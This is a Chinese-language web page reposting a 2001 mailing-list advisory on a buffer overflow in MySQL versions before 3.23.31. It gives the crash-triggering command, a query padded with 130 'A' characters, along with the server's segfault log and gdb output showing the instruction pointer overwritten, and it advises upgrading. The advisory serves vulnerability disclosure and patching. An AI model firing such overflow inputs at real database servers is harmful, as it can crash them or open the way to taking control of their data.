我爱Aspx >> C#.Net >> MySQL3.23.31之前版本的安全漏洞_数据库安全所有小于 3.23.31 版本的 MySQL 都存在一个缓冲溢出漏洞导致MySQL 崩溃。使攻击者获得 mysqld 权限,而可以操纵所有数据库。攻击的前提是必须有一个合法的登录名和口令。
下面为最初发表于 MySQL 邮件列表的信件摘要。
==================================================
漏洞是由Jo?o Gouveia 于1月12日发现的:
步骤:
在第一个终端上启动 mysql:
spike:/var/mysql # /sbin/init.d/mysql start
在另外一个终端上输入:
jroberto@spike:~ > mysql -p -e ’select a.’`perl -e’printf("A"x130)’`’.b’
Enter password:
(没有反应?按^C退出)
在第一台终端上会显示:
spike:/var/mysql # /usr/bin/safe_mysqld: line 149: 15557 Segmentation fault
nohup
$ledir/mysqld --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR --skip-lockin
g "$@" >>$err_log 2>&1>
Number of processes running now: 0
mysqld restarted on Fri Jan 12 07:10:54 WET 2001
mysqld daemon ended
使用 gdb 显示结果如下:
(gdb) run
Starting program: /usr/sbin/mysqld
[New Thread 16897 (manager thread)]
[New Thread 16891 (initial thread)]
[New Thread 16898]
/usr/sbin/mysqld: ready for connections
[New Thread 16916]
[Switching to Thread 16916]
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info all-registers
eax 0x1 1
ecx 0x68 104
edx 0x8166947 135686471
ebx 0x41414141 1094795585
esp 0xbf5ff408 0xbf5ff408
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
其中的 eip 指示就是缓冲溢出了。
解决办法就是升级到 3.23.31。所以,各位如果还没有把数据库升级到最新版本,请赶快行动。
Ҷƪл˵?
数据库安全性策略(1)_数据库安全[04-28]
数据库安全性策略 (2)_数据库安全[04-28]
保护Access 2000数据库的安全_数..[04-28]
MySQL安全问题(匿名用户)的一点心..[04-28]
怎样使MySQL安全以对抗解密高手_..[04-28]
怎么样写一段高效,安全的sql查询..[04-28]
不当编写SQL语句导致系统不安全_..[04-28]
在ASP程序中执行SQL语句的安全性..[04-28]
SQL Server安全规划全攻略_数据库..[04-28]
SQL Server 2000的安全配置_数据..[04-28]
数据库安全性策略(1)_数据库安全[04-28]
数据库安全性策略 (2)_数据库安全[04-28]
安全维护 IIS asp 站点的高级技巧..[04-28]
ASP+Access的安全隐患及对策_AS..[04-28]
保护Access 2000数据库的安全_数..[04-28]
提高IIS的安全性_ASP技巧[04-28]
用IIS+ASP建网站的安全性分析_AS..[04-28]
Microsoft IIS 真的如此「不安全..[04-28]
Microsoft IIS 真的如此「不安全..[04-28]
Microsoft IIS 真的如此「不安全..[04-28]